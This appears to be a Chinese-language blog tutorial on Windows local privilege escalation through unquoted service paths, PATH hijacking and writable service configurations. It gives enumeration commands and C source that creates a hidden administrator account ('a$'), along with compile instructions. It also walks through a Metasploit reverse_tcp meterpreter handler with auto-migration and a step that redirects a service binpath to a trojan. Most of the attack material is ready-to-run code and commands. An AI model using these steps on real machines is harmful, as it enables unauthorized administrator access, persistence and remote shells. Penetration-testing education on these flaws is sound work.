Trusted service path漏洞
原理:服务路径和快捷方式路径具有一个或多个空格美哦与被引号括起,windows会对每一个空格尝试寻找名字与空格前的名字相匹配的程序执行,造成路径拦截形成漏洞
当路径中存在没有被引号引起来的服务路径 C:\program files\com monfiles\service.exe中因为program files存在空格和com monfiles存在空格
可能会发生路径截断,服务启动时windows会依次尝试寻找下面的程序执行
c:\program.exe
c:\program files\com.exe
c:\program files\com monfiles\service.exe
漏洞利用
1.查找有无相关漏洞路径
wmic service get name,display,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
解析:wmic service get 后面的参数可以通过wmic service get /? 查看
findstr /i参数就是查找对应的匹配项
/i /v: 查找对应的匹配项后不打印这个匹配项,打印不符合的
findstr /i /v """ :不打印包含引号的原因是因为 被引号包括的路径是不存在漏洞的
2.如果存在相关的路径
#sc qc service查看相关服务的配置
C:\Users\Sakura>sc qc GamingServices
[SC] QueryServiceConfig 成功
SERVICE_NAME: GamingServices
TYPE : 210 WIN32_PACKAGED_PROCESS
START_TYPE : 2 AUTO_START #开启类型,是自动启动
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\WindowsApps\Microsoft.GamingServices_10.75.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
LOAD_ORDER_GROUP :
DISPLAY_NAME : Gaming Services
DEPENDENCIES : staterepository
SERVICE_START_NAME : LocalSystem #启动服务的账户
3.查看能否在该路径上上传文件(查看文件夹的权限)
icacls "c:\program files
c:\program files
NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F) #NT SERVICE则表示一组用于Windows服务的虚拟账户
NT AUTHORITY\SYSTEM:(M) #NT AUTHORITY表示一组经过认证、有特殊权限或特殊许可的用户或计算机账户
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M) #BUILTIN\Administrators" 是用户或组的名称,表示"内置\Administrators"群组具有对相关文件或文件夹的权限.
BUILTIN\Administrators:(OI)(CI)(IO)(F) #"(OI)" 表示"对象继承"的开头, "(CI)" 表示"容器继承"的开头,而 "(IO)" 则表示对“对象的所有权”具有特殊权限. "(F)" 表示该用户或组拥有完整的访问权限.
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(RX)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(OI)(CI)(IO)(GR,GE)
已成功处理 1 个文件; 处理 0 个文件时失败
4.编写c提权文件
实现新建隐藏用户,并且将用户添加到管理员组
1.编写c文件
#include <stdlib.h> int main { int i; int j; i=system("net user a$ 123 /add"); j=system("net localgroup administrators a$ /add"); return 0; }
2.编译成windows程序
i596-mingw32msvc-gcc exp.c -o common.exe -mwindows
5上传common.exe文件
当gameservice重启的时候即可生成账户.
由于权限比较低的情况下无法重启服务,等待服务重启或者系统执行exe
shutdown -r -t 0 或者 sc stop service sc start service
msf的利用
可以生成msf马上传后运行,利用exploit/multi/handler监听getshell后
反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要提前在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost ip
set lport 4444
set AutoRunScript migrate(迁移) -f
run #开启监听即可,连接上后会自动迁移
or
use exploit/windows/local/unquoted_service_path set session 1 set autorunscript migrate -f run
PATH环境变量配置错误
原理:执行程序方法以来path环境变量来确定未提供程序路径时搜索程序的位置
通常新增的paht环境变量是在后面添加的,配置不当导致最前面新增了path环境变量,那么在此目录下新建与常用系统命令一样的名字的exe程序就会优先执行
漏洞利用
1.查看目标系统的环境变量
wmic environment where "name='path'" get username,variablevalue
命令解析:
wmic environment get username,variablevalue命令列出的环境变量包括:
- USERNAME:当前用户的用户名
- APPDATA:当前用户的应用程序数据文件夹的路径
- COMPUTERNAME:计算机名称
- USERPROFILE:当前用户的个人资料文件夹的路径
- HOMEDRIVE:当前用户的主目录驱动器
- HOMEPATH:当前用户的主目录路径
- LOGONSERVER:该用户登录时使用的域控制器名称
- PATH:系统用于查找可执行文件的路径
- TEMP:用于存储临时文件的目录
- TMP:用于存储临时文件的目录
除此之外,还可能有一些其他的环境变量,具体根据操作系统版本和系统设置而变化。
get 后面的参数可以使用 get /?查看
Description N/A N/A
InstallDate N/A N/A
Name string Read/Write
Status N/A N/A
SystemVariable N/A N/A
UserName N/A N/A
VariableValue N/A N/A
可以明显的看到确实是有配置不当的环境变量
最前面的是 C:\Program Files (x86)\Common Files\Oracle\Java\javapath;
尝试在这个目录下上传一个ipconfig.exe,系统会优先使用这个
不安全的服务权限
原理通常windows服务以system执行,由于错误配置导致地权限用户对某些服务进行修改,通过服务启动文件的路径binpath替换恶意程序的路径.
漏洞利用
1.通过accesschk发现一个配置不当的服务
accesschk是一个了解特定用户或组队资源的访问权限,包括文件,目录,注册表,全局对象和windows服务.
第一次运行会有一个许可窗口,命令后加上/accepteula避免弹窗
accesschk users -cw * /accepteula #查找users组的修改服务 输出 W Everything error openning pla; ???? 说明everything服务所有人都可以修改
2.使用sc修改启动路径
先上传msf马到目录中,然后使用命令 sc config "everything" binpath= "c:\xx\xx\msf.exe" #binpath=后面必须要加一个空格再跟启动路径
标签:CI,exe,服务,service,windows,路径,提权 From: https://www.cnblogs.com/lisenMiller/p/17298907.html